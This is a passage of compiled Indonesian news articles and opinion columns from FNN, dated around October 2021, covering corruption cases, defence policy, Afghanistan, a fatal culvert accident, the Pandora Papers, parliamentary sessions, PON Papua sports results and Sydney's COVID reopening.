Sebelumnya, lembaga swadaya masyarakat Gerakan Antikorupsi (GeRAK) Aceh melaporkan indikasi korupsi penyaluran beasiswa bantuan pendidikan Pemerintah Aceh tahun anggaran 2017. Hasil temuan Inspektorat Aceh menyebutkan beasiswa tersebut berasal dari usulan 24 Anggota DPR Aceh. Jumlah penerima mencapai 938 mahasiswa, terdiri 825 penerima usulan Anggota DPR Aceh, dan 86 orang permohonan secara mandiri. Dalam menangani kasus dugaan tindak pidana korupsi beasiswa, penyidik Polda Aceh sudah memeriksa sejumlah Anggota DPR Aceh periode 2014-2019 serta ratusan penerima beasiswa. (sws)

Pengamat Hankam: Komcad Bagian dari Komponen Pertahanan

Jakarta, FNN - Pengamat pertahanan keamanan (hankam) dari Universitas Nasional (Unas) Jakarta, Selamat Ginting mengharapkan, kekuatan pertahanan Indonesia harus bisa memadukan kekuatan pertahanan militer dan pertahanan nirmiliter. Pertahanan militer diorganisasikan ke dalam komponen utama, yakni TNI (Tentara Nasional Indonesia). Sedangkan organisasi untuk pertahanan nirmiliter dibedakan atas dasar hakikat dan jenis ancaman yang dihadapi. “Dalam menghadapi ancaman militer, pertahanan nirmiliter diorganisasikan ke dalam komponen cadangan dan komponen pendukung. Keduanya disiapkan untuk menjadi pelapis komponen utama,” kata dosen Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Unas, Selamat Ginting di Jakarta, Kamis (7/10). Ia menanggapi peresmian penetapan Komcad oleh Presiden Joko Widodo (Jokowi) di Pusat Pendidikan dan Pelatihan Pasukan Khusus (Pusdiklatpassus) di Batujajar, Bandung, Jawa Barat, Kamis (7/10). Menurut Jokowi, Komcad dibentuk guna mendukung TNI dalam menjalankan tugasnya untuk menjaga kedaulatan negara dan keutuhan NKRI (Negara Kesatuan Republik Indonesia). Jokowi mengatakan, sistem pertahanan Indonesia ini bersifat semesta yang melibatkan seluruh warga negara, wilayah, dan sumber daya nasional lainnya. Menurut Selamat Ginting, dalam menghadapi ancaman nirmiliter, organisasi pertahanan nirmiliter disusun ke dalam pertahanan sipil. Hal ini untuk mencegah dan menghadapi ancaman yang berdimensi ideologi, politik, ekonomi, sosial budaya, dan teknologi. Dalam menghadapi ancaman yang berdimensi keselamatan umum, kata dia, bentuk pertahanan sipil dilaksanakan melalui fungsi-fungsi keamanan. Antara lain penanggulangan dampak bencana alam dan bencana yang ditimbulkan manusia, operasi kemanusiaan, SAR, wabah penyakit dan kelaparan, gangguan pada pembangkit tenaga listrik, transportasi, dan aksi pemogokan. Dikemukakan, struktur organisasi pertahanan sipil dalam pertahanan nirmiliter berbeda dengan struktur sistem pertahanan negara dalam menghadapi ancaman militer. Organisasi pada pertahanan sipil bersifat fungsional dan berada dalam lingkup kewenangan instansi pemerintah di luar bidang pertahanan. Selamat Ginting menjelaskan, dalam perjalanan sejarah bangsa Indonesia terbukti sistem pertahanan dan keamanan rakyat semesta menjadi sistem yang mampu melawan penjajah dan berhasil menjadikan Indonesia sebagai negara merdeka dan berdaulat. Oleh karena itu, lanjutnya, sistem tersebut harus tetap dipertahankan dan dikembangkan. Sistem tersebut untuk menegakkan kedaulatan NKRI, menjaga keutuhan wilayah negara, dan menjamin keselamatan bangsa. “Untuk menjamin tegaknya NKRI, fungsi pertahanan negara sangat berperan dalam menjaga kelangsungan bangsa,” kata Selamat Ginting, mantan wartawan senior Republika. Menurutnya, komponen cadangan dan komponen pendukung dapat diarahkan untuk mewujudkan kemampuan pertahanan yang melampaui kekuatan pertahanan minimal. Sekaligus untuk terwujudnya pertahanan nirmiliter dan kesadaran bela negara yang tinggi. Jadi, kata dia, pembentukan komponen cadangan lebih berorientasi pada aspek kewilayahan. Sehingga setiap daerah memiliki kekuatan cadangan yang nyata dan dikembangkan secara bertahap dan berlanjut sampai mencapai kekuatan yang proporsional. (sws)

Rusia Undang Taliban ke Pertemuan Internasional Tentang Afghaninstan

Moskow, FNN - Rusia akan mengundang perwakilan Taliban ke pertemuan internasional tentang Afghanistan yang rencananya digelar di Moskow pada 20 Oktober mendatang. Perwakilan khusus Presiden Vladimir Putin, Zamir Kabulov, mengatakan hal itu, di Afghanistan, Kamis, 7 Oktober 2021 m. Kabulov tidak menjelaskan lebih lanjut rencana tersebut dalam pernyataan yang dilansir kantor berita Rusia. Rusia menjadi tuan rumah konferensi internasional tentang Afghanistan pada Maret. Konferensi itu menghasilkan pernyataan bersama dengan Amerika Serikat, China dan Pakistan agar pihak-pihak yang bertikai di Afghanistan mencapai perjanjian damai dan menekan kekerasan. Pernyataan itu juga mendesak Taliban supaya tidak melancarkan serangan apa pun selama musim semi dan musim panas. Sejak AS dan sekutunya membawa pulang pasukan mereka dari Afghanistan, Taliban langsung mengambil alih kekuasaan. Pemerintahan sebelumnya yang didukung AS dan sekutunya runtuh. Rusia khawatir tentang kemungkinan jatuhnya wilayah yang lebih luas. Selain kemungkinan menyusupnya kelompok milisi ke negara-negara bekas Uni Soviet di Asia Tengah, yang dianggap Moskow sebagai penyangga pertahanan bagi wilayah bagian selatan mereka. Pasca pengambilalihan oleh Taliban, Moskow menggelar latihan militer di Tajikistan. Rusia pun memperkuat peralatan mereka di pangkalan militer di negara tersebut. Putin pada Kamis juga menelepon Presiden Tajikistan Emomali Rakhmon. "Keduanya membahas situasi keamanan seputar perkembangan terkini di Afghanistan," demikian pernyataan kepresidenan Tajikistan. (MD).

Diduga Hirup Gas Beracun, Pekerja Telkom Tewas Dalam Gorong-gorong

Tangerang, FNN - Korban tewas di dalam gorong-gorong, di Perumahan Taman Royal, Kota Tangerang, Banten menjadi lima orang. Hal itu diketahui setelah petugas Badan Penanggulangan Bencana Daerah (BPBD) setempat mengevakuasi dua korban yang tertinggal di dalam gorong-gorong yang diduga mengandung racun itu. Kepala BDBD Kota Tangerang, Dani Koswara menyebutkan, evakuasi terhadap dua orang korban baru selesai setelah pukul 17.00. "Ada dua korban yang tertinggal. Baru selesai kami evakuasi. Korban jadi lima orang," katanya sebagaimana dikutip dari Tempo.co.id. Menurut Dani, awalnya jumlah korban tewas di dalam gorong-gorong itu tiga orang. Namun, sekitar pukul 16.30, pihaknya mendapatkan laporan yang menyebutkan masih ada dua orang korban tertinggal di dalam gorong-gorong itu. Evakuasi terhadap dua korban dilakukan setelah mengeringkan air di dalam gorong-gorong setinggi 1,5 meter, dengan menggunakan mesin pemompa air. Setelah air kering, barulah dua jenazah diangkat. Menurut Deni, dari lima orang korban tewas itu, tiga di antaranya adalah petugas perawatan jaringan Telkom. Dua korban adalah warga sekitar. Hal tersebut berdasarkan keterangan yang disampaikan PT Telkom. Peristiwa nahas tersebut terjadi Kamis, 7 Oktober 2021. Kejadiannya berawal saat salah satu orang pekerja sedang memperbaiki kabel jaringan internet di dalam gorong-gorong tersebut Tidak lama kemudian, pekerja tersebut berteriak meminta tolong karena masuk ke dalam air dalam gorong-gorong. Satu orang rekan kerja pun ikut membantu bersama seorang pekerja galon yang berada dekat kejadian. Akan tetapi, ketiganya kemudian tewas setelah merasakan sesak nafas. Kapolsek (Kepala Kepolisian Sektor) Cipondoh, Ubaidillah mengatakan, penyebab tewasnya pekerja dalam gorong-gorong diduga akibat menghirup gas atau keracunan gas "Dugaan penyebab tewasnya pekerja karena menghirup uap gas alam yang berasal dari dalam gorong - gorong," kata Ubaidillah, di Tangerang, Kamis, 7 Oktober 2021. Ia mengatakan, kepolisian telah melakukan koordinasi mencari penyebab tewasnya pekerja tersebut. Berdasarkan iInformasi yang ada, gorong-gorong tersebut sudah lama tidak dibuka, dan diduga menimbulkan uap gas alam. "Kepolisian masih mendalami peristiwa tewasnya tiga orang pekerja tersebut," ujarnya. (MD).

Pandora Papers: Skandal Penghindaran Pajak Pejabat Negara

Oleh Salamuddin Daeng PANDORA papers adalah skandal penghindaran pajak terbesar, paling dahsyat dalam sejarah manusia. Melibatkan uang 11 ribu triliun dolar, yang sebagian besar disembunyikan oleh para pejabat negara. Dua orang pejabat negara Republik Indonesia yakni Menko Maritim dan Investasi dan Menko Perekonomian terlibat dalam kasus ini. Dunia menyebutnya sekarang sebagai skandal penghindaran pajak. Sebutan merujuk pada upaya dunia untuk membersihkan uang kotor dirty money yang bersumber dari kejahatan pajak dan segala turunannya. Bagi Indonesia apakah ini sebuah skandal besar? Yang jelas ini aib bagi pejabat negara, mengapa? Pertama, pemerintah sudah menjalankan tax amnesti tahun 2016 lalu. Periode pertama Jokowi berkuasa. Kedua pejabat negara yang terlibat ini harusnya telah mengikuti tax amnesty jilid 1. Mereka harusnya sudah memohon pengampunan pajak kepada pemerintah, membayar tax amnesty dan membersihkan dirinya dari kegiatan penghindaran pajak. Kedua, sekarang pemerintah jokowi sedang mengagendakan tax amnesty jilid 2, yakni pengampunan pajak untuk kedua kalinya. Ini akan menjadi aib' karena dengan demikian maka publik akan menilai ini adalah tax amnesty untuk mengampuni kasus pajak dua menteri koordinator pemerintahan Jokowi sendiri. Ketiga, pemghindaran pajak oleh pejabat negara terjadi tepat di saat pemerintah sendiri sedang mengampanyekan disiplin pajak, taat pajak bagi segenap rakyat Indonesia. Ini menjadi aib bagi pemerintah Jokowi karena dua pejabat menteri masih ada di kabinet dan belum mau mengumumkan jumlah uang yang mereka tempatkan di pandora papers untuk menghindari pajak. Keterlibatan dua menteri pemerintahan Jokowi dalam daftar nama pejabat dunia yang melakukan penghindaran pajak setara dengan 130 tahun penerimaan pajak APBN Indonesia, akan menjadi borok bagi pemerintah dan akan menghalangi seluruh upaya pemerintah dalam meningkatkan kedisiplinan pajak di dalam negeri. Upaya pemerintah untuk menggenjot pajak dari orang pribadi saat ini, akan menjadi bahan cemoohan karena menterinya sendiri justru melakukan penghindaran pajak, mencari surga pajak di luar negeri, sementara rakyat Indonesia sendiri dibenamkan dalam neraka pajak. Lebih jauh lagi ini akan menjadi sandungan besar bagi pemerintahan Jokowi dalam menarik investasi ke Indonesia, dikarenakan mereka para investor akan takut diperas oleh pejabat negara Indonesia yang doyan menyimpan uang mereka di tempat tempat gelap. Kemampuan para pejabat melakukan hal itu akan sangat menakutkan bagi investor karena pejabat negara doyan uang haram. Tapi walau dua pejabat ini masuk daptar, bisa saja mereka berbalik arah, misalnya pak Airlangga dan pak Luhut akan harum namanya kalau keduanya mau menyerahkan seluruh harta kekayaannya kepada negara, untuk digunakan dalam mengatasi kemiskinan dan digunakan untuk mensubsidi buruh yang ter PHK. Jadi pandora papers bisa dibalas dengan cara ini. Mudah mudahan. *) Peneliti AEPI

Tamsil Linrung: “Indikator Ketidakadilan Negara Sangat Mudah Diukur”

Oleh Rahmi Aries Nova *) HANYA segelintir anggota Dewan Perwakilan Rakyat (DPR) dan Dewan Perwakilan Daerah (DPD) yang berani bersuara, lebih sedikit lagi yang memang berbuat dan berpikir untuk rakyat. Dari yang segelintir itu senator asal Sulawesi Selatan Tamsil Linrung adalah satu diantaranya. Mantan anggota DPR tiga periode yang kini memimpin kelompok DPD di MPR RI tak pernah berhenti untuk memperjuangkan apa yang menjadi hak rakyat. Terus meminta masukan dan menjalin hubungan baik dengan masyarakat, aktivis, ulama dan tokoh-tokoh di dalam dan di luar pemerintahan. Tamsil tak canggung berhubungan bahkan bersilaturahmi dengan tokoh-tokoh oposisi bahkan dengan ulama yang paling dimusuhi pemerintah Habib Rizieq Syihab. Ia juga ikut datang ke rumah Rocky Gerung yang hendak digusur, dan akrab Gatot Nurmantyo dan anggota KAMI (Koalisi Aksi Menyelamatkan Indonesia) lainnya. Suatu yang mungkin sangat dihindari bahkan ditakuti oleh anggota-anggota dewan yang lain, meski mereka mengaku wakil rakyat. Di masa lalu Tamsil juga dekat dengan Mantan Ketua Majelis Permusyawaratan Rakyat almarhum Taufik Kiemas dan Presiden RI ke-4 almarhum Abdurrahman Wahid, di masa kini tetap membina pemuda dan mahasiswa lewat Yayasan Tali Foundation dan beberapa organisasi lain. Saat ini kecuali tengah memperjuangkan nasib-nasib guru honorer, Tamsil juga mengumpulkan sebanyak mungkin masukan dari para pakar/ahli, aktivis, mantan pejabat, tentang perlu atau tidaknya Amandemen Undang Undang Dasar 1945 untuk kelima kalinya? Kalau perlu apakah sifatnya komprehensif atau parsial? Dalam acara Dengar Pendapat Masyarakat (DPM) yang ia selenggarakan di ICM Serpong pada Ahad (3/10) dihadiri oleh mahasiswa dan umum terkuak latar belakang mengapa saat ini konsitusi kita sudah berubah 98%. Menurut mantan anggota dewan Hatta Taliwang hal itu bermula dari krisis moneter, krisis ekonomi, krisis sosial di akhir era Presiden Soeharto, dimana Presiden AS Bill Clinton mendesak Soeharto untuk menandatangi perjanjian dengan IMF. “Itulah dokumen penjajahan baru, pemerasan politik, liberalisasi politik. Pak Harto sempat ingin membatalkan, tapi akhirnya malah jatuh,” ungkap Hatta dalam diskusi. Hatta menyebut saat ini kita sudah tersesat, dan UUD yang kita miliki sudah kehilangan roh tidak bisa disebut sebagai UUD 1945 tapi UUD 2002, yang ratusan UU draftnya sudah jadi alias disiapkan oleh ‘penjajah baru’. Tak heran pengamat yang juga kolumnis FNN Rizal Fadilah menyebut yang terpenting saat ini adalah kembali ke UUD 1945. Sementara wartawan senior Hersubeno Arief melihat ada yang mengatur DPR dan Presiden saat ini ialah oligarki. Jadi saat ini sesungguhnya bukan pemerintah lagi yang berkuasa. Padahal menurut Anton Permana (Alumni Lemhannas PPRA LVIII Tahun 2018) konstitusi dibuat untuk menekan kekuasaan. Dan perubahan yang terjadi pada UUD dasar kita adalah sangat radikal bahkan bisa disebut sebagai kudeta konstitusi. Hasilnya saat ini kita bukan lagi menjadi negara demokrasi (rakyat mengontrol pemerintah) tapi otoriter (pemerintah mengontrol rakyat). Dalam sesi kedua diskusi juga dibahas ‘Hilangnya Arah Ekonomi Pancasila’ lewat paparan cerdas salah satu anggota Tim Perumus Ekonomi Jokowi-JK Awalil Rizky, yang menyebut bahwa saat ini angka pengangguran 46 juta jiwa dan angka kemiskinan (orang miskin) mencapai 110 juta jiwa. Dan disimpulkan oleh Salamuddin Daeng, pengamat ekonomi Indonesia for global justice, bahwa jika amandemen UUD 1945 adalah transfer kekuasaan ke oligarki, dan kini diikuti dengan transfer kekuasaan ke rezim internasional. “Jangan pakai Pancasila untuk membungkus bangkai”, tegas Muhammad Said Didu, mantan Sekretaris Kementrian BUMN, di akhir diskusi. Sebagai penutup Tamsil mengungkapkan bahwa indikator ketidakadilan negara sangat mudah diukur, yaitu dengan kenyataan bahwa kewajiban negara dan hak rakyat yang belum terpenuhi saat ini. Sungguh sebuah acara DPM yang harusnya juga didengar oleh seluruh anggota DPR dan DPD yang ada di Senayan. Jangan mereka merasa seolah negara sedang baik-baik saja, padahal saat ini kita nyata-nyata tengah di jajah oligarki dan dalam proses menyerahkan diri ke rezim internasional (asing). *) Wartawan senior FNN

DPR Gelar Rapat Paripurna Penutupan Masa Sidang I

Jakarta, FNN - DPR RI menggelar Rapat Paripurna penutupan Masa Persidangan I Tahun Sidang 2021—2022, Kamis siang, dan akan memasuki masa reses hingga akhir Oktober 2021. "Mulai 8 hingga 31 Oktober 2021 DPR RI memasuki Masa Reses Masa Persidangan I Tahun Sidang 2021—2022," kata Ketua DPR RI Puan Maharani dalam keterangannya di Jakarta, Kamis. Puan akan menghadiri rapat paripurna tersebut secara virtual karena sedang berada di Roma, Italia, untuk mengikuti Seventh Group of 20 Parliamentary Speakers’ Summit (P20). Menurut dia, pidato penutupan masa sidang akan dibacakan oleh Wakil Ketua DPR RI Muhaimin Iskandar. Sebelum penutupan masa sidang, DPR RI akan melakukan sejumlah pembahasan dalam rapat paripurna di Gedung Nusantara II, kompleks DPR RI, Senayan, Jakarta itu. Puan menyebutkan salah satu agenda rapat adalah mendengarkan pendapat fraksi-fraksi terhadap sejumlah RUU inisiatif Komisi II DPR. "Dilanjutkan dengan pengambilan keputusan menjadi RUU usul DPR RI," ujarnya. RUU inisiatif Komisi II DPR RI tersebut adalah RUU tentang Provinsi Sulawesi Selatan; RUU tentang Provinsi Sulawesi Tengah; RUU tentang Provinsi Sulawesi Tenggara; RUU tentang Provinsi Sulawesi Utara; RUU tentang Provinsi Kalimantan Timur; RUU tentang Provinsi Kalimantan Selatan; dan RUU tentang Provinsi Kalimantan Barat. Puan mengatakan bahwa rapat paripurna juga akan mengambil keputusan terkait dengan persetujuan perpanjangan terhadap pembahasan RUU tentang Penanggulangan Bencana dan RUU tentang Perubahan atas UU Nomor 5 Tahun 2014 tentang Aparatur Sipil Negara. Menurut dia, rapat paripurna juga mengagendakan pembicaraan Tingkat II atau pengambilan keputusan atas RUU tentang Harmonisasi Peraturan Perpajakan. (sws)

Tersangka Kasus Suap Pengesahan RAPBD Jambi Segera Disidang

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menyerahkan barang bukti dan tersangka Paut Syakarin (PS) dari pihak swasta dalam kasus dugaan suap terkait dengan pengesahan RAPBD Provinsi Jambi pada tahun anggota 2017/2018 ke penuntutan. "Dengan telah dilakukannya pemeriksaan kelengkapan berkas perkara tersangka PS oleh tim jaksa dan dinyatakan lengkap, tim penyidik pada hari Rabu (6/10) melaksanakan tahap kedua (penyerahan tersangka dan barang bukti) kepada tim jaksa," kata Plt. Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. Penahanan selanjutnya terhadap Paut, kata Ali, dilakukan oleh tim jaksa selama 20 hari ke depan terhitung 6 s.d. 25 Oktober 2021 di Rutan KPK pada Pomdam Jaya Guntur. "Dalam waktu 14 hari kerja, tim jaksa menyusun surat dakwaan dan melimpahkan berkas perkaranya ke pengadilan tipikor. Persidangan diagendakan di Pengadilan Tipikor pada PN Jambi," ucap Ali. Sebelumnya, pada hari Sabtu (7/8), KPK melakukan upaya paksa penangkapan terhadap Paut di Kabupaten Tebo, Jambi dengan berkoordinasi dan dibantu oleh jajaran satuan Reskrim Polres Tebo. Penangkapan itu dilakukan karena Paut mangkir setelah dipanggil secara patut untuk diperiksa oleh KPK. Dalam konstruksi perkara, KPK menjelaskan bahwa para unsur pimpinan DPRD Provinsi Jambi diduga meminta uang "ketok palu", menagih kesiapan uang "ketok palu", melakukan pertemuan untuk membicarakan hal tersebut, serta meminta jatah proyek dan/atau menerima uang dalam kisaran Rp100 juta atau Rp600 juta per orang. Para unsur pimpinan fraksi dan komisi di DPRD Provinsi Jambi diduga mengumpulkan anggota fraksi untuk menentukan sikap terkait dengan pengesahan RAPBD Jambi, membahas dan menagih uang "ketok palu" serta menerima uang untuk jatah fraksi sekitar dalam kisaran Rp400 juta hingga Rp700 juta untuk setiap fraksi, dan/atau menerima uang untuk perorangan dalam kisaran Rp100 juta, Rp140 juta, atau Rp200 juta. KPK menduga tersangka Paut berperan sebagai penyokong dana dan pemberi uang "ketok palu" tambahan untuk para anggota Komisi III DPRD Provinsi Jambi dengan besaran masing-masing Rp150 juta terkait RAPBD Provinsi Jambi TA 2017. Pemberian uang oleh Paut diduga agar perusahaan miliknya bisa mendapatkan beberapa proyek di Dinas Pekerjaan Umum Provinsi Jambi pada tahun 2017. Adapun jumlah dana yang disiapkan oleh tersangka Paut sekitar sejumlah Rp2,3 miliar dengan pembagian uang sebesar Rp325 juta pada bulan November 2016. Pemberian uang oleh tersangka Paut tersebut melalui seorang bernama Hasanudin kepada anggota DPRD Jambi 2014—2019 Effendi Hatta di lapangan parkir Bandara Sultan Thaha Jambi sebagai titipan untuk 13 anggota Komisi III yang masing-masing mendapatkan Rp25 juta per orang dan sudah dibagikan oleh Anggota DPRD Jambi 2014—2019 Zainal Abidin kepada 13 anggota Komisi III di salah satu hotel di Bogor, Jawa Barat saat acara bimtek. Uang sebesar Rp1,950 miliar pada akhir Januari 2017 bertempat di rumah tersangka Paut kembali dilakukan pemberian uang oleh tersangka Paut kepada Effendi Hatta dan Zainal Abidin yang kemudian diserahkan oleh Effendi Hatta dan Zainal Abidin kepada 13 anggota Komisi III lainnya. Atas perbuatannya, tersangka Paut disangkakan melanggar Pasal 5 ayat (1) huruf a atau b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 juncto Pasal 55 ayat (1) ke-1 KUHP. (sws)

Papua Ancam Posisi Jawa Barat di Puncak Klasemen PON Papua

Jayapura, FNN - Kontingen tuan rumah Papua benar-benar membuat kejutan pada kejuaraan empat tahunan ini dan sekarang mengancam posisi puncak klasemen sementara Pekan Olahraga Nasional (PON) XX Papua yang saat ini dipegang Jawa Barat (Jabar) . Berdasarkan data resmi dari PB PON, Kamis hingga pukul 12.00 WIT, kontingen Papua sukses menembus angka 50 medali emas disusul 22 perak dan 42 perunggu. Sedangkan Jabar berada di puncak dengan 50 emas, 46 perak dan 54 perunggu. Cabang olahraga bermotor menjadi pengumpul pundi-pundi emas bagi kontingen tuan rumah selain dari aerosport, menembak dan biliar. Peluang untuk berada di papan atas jelas terbuka karena banyak cabang olahraga yang mempertandingkan nomor final Untuk kontingen Jabar kondisi ini jelas akan menjadi pemacu semangat. Apalagi sebelumnya mampu menggeser kontingen DKI Jakarta dari puncak dan saat ini berada di posisi tiga dengan 47 emas, 40 perak dan 49 perunggu. Kontingen Jabar masih menyimpan beberapa peluang emas yang siap di dulang seperti cabang olahraga atletik yang saat ini sedang berjalan hingga renang yang baru dipertandingkan di kolam renang Stadion Akuatik Kampung Harapan, Jayapura, 9-14 Oktober. Selama ini kontingen Tanah Pasundan ini dikenal dengan penguasa renang di Tanah Air. Jadi tidak heran jika nantinya bakal menjadi lumbung emas. Begitu juga dengan Jawa Timur. Pelan tapi pasti medali emas mulai terkumpul. Dalam catatan resmi PB PON masih bertahan di posisi empat klasemen dengan 42 emas, 36 perak dan 36 perunggu. Jika dilihat catatan yang ada, emas kontingen Jawa Timur seharusnya sudah bertambah karena baru saja mengawinkan medali emas dari selam kolam nomor 800 meter surface yang berlangsung di Arena Akuatik Kampung Harapan, Kabupaten Jayapura, Kamis pagi WIT. Pada sektor putra, Bima Dea Sakti Antono menunjukkan ketahanan dan kecepatan tubuh terbaik. Dia finis terdepan dengan catatan waktu 6 menit 59,12 detik. Pada lomba kali ini Dea mengalahkan wakil DKI Jakarta Sheva Bima Firmansyah yang finis urutan kedua dengan catatan waktu 7 menit, 12,91 detik. Sementara posisi ketiga ditempati Oktab Dewa Devana Taufiq dari Jawa Barat dengan 7 menit 23,27 detik. Sedangkan di sektor putri, Jawa Timur juga memastikan emas pada nomor 800 meter surface melalui Andhini Muthia Maulida yang mencatatkan waktu tercepat 7 menit 25,95 detik. Dia mengalahkan wakil Jawa Barat Oza Feby Mulyani yang finis posisi kedua dengan catatan waktu 7 menit 31,75 detik. Adapun posisi ketiga diraih Amartha Latifa Rahndevi dari Banten dengan catatan waktu 8 menit 01,23 detik. (sws)

Tim Basket Putri Jatim Beberkan Faktor Kunci Lolos ke Final PON Papua

Mimika, FNN - Forward tim bola basket putri Jawa Timur Christine Tjundawan membeberkan faktor kunci skuadnya berhasil melaju ke final PON XX Papua adalah karena mampu mengalahkan diri sendiri. Jawa Timur melaju ke babak pamungkas usai menundukkan DKI Jakarta dengan skor 71-47 di pada laga semifinal di Mimika Sport Complex, Mimika, Kamis. "Yang tersulit adalah melawan diri sendiri. Melawan diri agar selalu konsisten, fokus dan mau bertahan dengan baik. Yang penting bertahan dahulu. Kalau sudah begitu, menyerang tinggal mengikuti saja, 'fast break' juga enak, bola bisa jalan," ujar Christine usai pertandingan. Jika sudah begitu, atlet berusia 23 tahun itu melanjutkan, Jatim jadi lebih mudah mengatur serangan dan mendominasi permainan DKI Jakarta. Dipadukan dengan persiapan yang baik sebelum pertandingan, kemenangan pun tiba menghampiri Jawa Timur. "Sebelum pertandingan, kami sudah siap 100 persen. Dari kemarin malam kami mengulas kekuatan lawan dan karena itu bisa langsung tancap gas dari awal, tak memberikan kesempatan bagi Jakarta untuk membalikkan skor," tutur Christine. Sementara pelatih Jawa Timur, Lena mengapresiasi performa para pemainnya di babak semifinal. Skuad Jatim, Lena melanjutkan, mampu memanfaatkan kekurangan pertahanan lawan tetapi tak lupa dengan pertahanan sendiri. "Yang penting bagi saya, anak-anak berjuang sampai akhir. Target saat ini tentu mendapatkan medali emas," kata Lena. Bagi Jawa Timur, mampu ke final PON Papua memperbaiki pencapaian pada PON sebelumnya, PON 2016, di mana mereka gagal ke final dan harus puas dengan medali perunggu. Lawan Jawa Timur di babak pamungkas PON Papua, yang akan berlangsung Sabtu (9/10), adalah pemenang pertandingan Sulawesi Selatan versus Bali. Sampai berita ini diturunkan, laga itu masih berlangsung. (sws)

KPK Panggil Deputi BNPB Saksi Kasus Pengadaan Barang/Jasa Kolaka Timur

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Kamis, memanggil Deputi Bidang Logistik dan Peralatan Badan Nasional Penanggulangan Bencana (BNPB) Prasinta Dewi untuk diperiksa sebagai saksi. Prasinta dipanggil dalam penyidikan kasus dugaan korupsi pengadaan barang/jasa di lingkungan Pemerintah Kabupaten Kolaka Timur, Sulawesi Tenggara pada tahun anggaran 2021 untuk tersangka Kepala Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Kolaka Timur Anzarullah (AZR). "Hari ini, pemeriksaan saksi tindak pidana korupsi pengadaan barang/jasa di lingkungan Pemerintah Kabupaten Kolaka Timur untuk tersangka AZR," kata Plt. Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. KPK pada hari Rabu (22/9) menetapkan Anzarullah bersama Bupati Kolaka Timur Andi Merya Nur (AMN) sebagai tersangka. Dalam konstruksi perkara, KPK menjelaskan bahwa pada bulan Maret—Agustus 2021, Andi Merya dan Anzarullah menyusun proposal dana hibah BNPB berupa dana rehabilitasi dan rekonstruksi (RR) serta dana siap pakai (DSP). Awal September 2021, Andi Merya dan Anzarullah datang ke BNPB Pusat di Jakarta untuk menyampaikan paparan terkait dengan pengajuan dana hibah logistik dan peralatan. Dalam hal ini Pemkab Kolaka Timur memperoleh dana hibah BNPB, yaitu hibah relokasi dan rekonstruksi senilai Rp26,9 miliar dan hibah dana siap pakai senilai Rp12,1 miliar. Tindak lanjut atas pemaparan tersebut, Anzarullah kemudian meminta Andi Merya agar beberapa proyek pekerjaan fisik yang bersumber dari dana hibah BNPB tersebut nantinya dilaksanakan oleh orang-orang kepercayaan Anzarulla dan pihak-pihak lain yang membantu mengurus agar dana hibah tersebut cair ke Pemkab Kolaka Timur. Adapun khusus untuk paket belanja jasa konsultansi perencanaan pekerjaan jembatan dua unit di Kecamatan Ueesi senilai Rp714 juta dan belanja jasa konsultansi perencanaan pembangunan 100 unit rumah di Kecamatan Uluiwoi senilai Rp175 juta akan dikerjakan oleh Anzarullah. Andi Merya menyetujui permintaan Anzarullah tersebut dan sepakat akan memberikan fee kepada Andi Merya sebesar 30 persen. Selanjutnya, Andi Merya memerintahkan Anzarullah untuk berkoordinasi langsung dengan Dewa Made Ratmawan selaku Kepala Bagian Unit Layanan Pengadaan (ULP) agar memproses pekerjaan perencanaan lelang konsultan dan mengunggahnya ke Layanan Pengadaan Secara Elektronik (LPSE) sehingga perusahaan milik Anzarullah dan/atau grup Anzarullah dimenangkan serta ditunjuk menjadi konsultan perencana pekerjaan dua proyek itu. KPK menduga Andi Merya meminta uang Rp250 juta atas dua proyek pekerjaan yang akan didapatkan Anzarullah tersebut. Anzarullah telah menyerahkan uang Rp25 juta terlebih dahulu kepada Andi Merya dan sisanya Rp225 juta disepakati akan diserahkan di rumah pribadi Andi Merya di Kendari. Adapun sisa uang Rp225 juta tersebut yang diamankan KPK saat operasi tangkap tangan (OTT) terhadap Andi Merya dan kawan-kawan. Anzarullah selaku pemberi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. Andi Merya selaku penerima disangkakan melanggar Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. (sws)

Sydney Longgarkan Aturan Pembatasan COVID Pekan Depan

Sydney, FNN - Aturan pembatasan COVID-19 di Sydney akan dilonggarkan lebih lanjut mulai Senin (11/10) pekan depan, kata pihak berwenang. Kota terbesar di Australia itu tampaknya akan keluar dari penguncian yang berlangsung selama hampir empat bulan setelah mencapai target vaksinasi lengkap untuk 70 persen populasinya. Orang-orang yang telah divaksin lengkap di negara bagian New South Wales (NSW) akan dapat meninggalkan rumah mereka dengan alasan apa pun termasuk mengunjungi pub, toko ritel, bioskop, dan pusat kebugaran, yang akan dibuka kembali di bawah aturan pembatasan jarak sosial yang ketat. Jumlah pengunjung yang telah divaksin yang diizinkan untuk berkumpul di satu rumah akan dinaikkan menjadi 10 orang, sementara batas jumlah orang yang divaksin yang boleh menghadiri pernikahan dan pemakaman akan dinaikkan menjadi 100 orang. Klub-klub malam dapat dibuka kembali sebagian (dengan kapasitas 50 persen) untuk orang-orang yang telah divaksin setelah inokulasi mencapai 80 persen, dan itu lebih awal dari yang direncanakan sebelumnya. Selain itu, penggunaan masker di kantor-kantor tidak wajib. Negara bagian NSW akan menggunakan suatu sistem paspor vaksinasi untuk memastikan orang-orang yang belum divaksin lengkap menjalankan aturan pembatasan yang ketat untuk tetap berada di rumah hingga 1 Desember 2021. "Vaksinasi adalah kunci kebebasan kami, dan pengorbanan serta upaya orang-orang di seluruh NSW telah memastikan bahwa kami dapat membuka diri secepat dan seaman mungkin," kata pemimpin negara bagian NSW Dominic Perrottet kepada wartawan di Sydney, Kamis. Kota-kota terbesar di Australia, Sydney dan Melbourne, dan ibu kota Canberra dikarantina selama beberapa pekan untuk 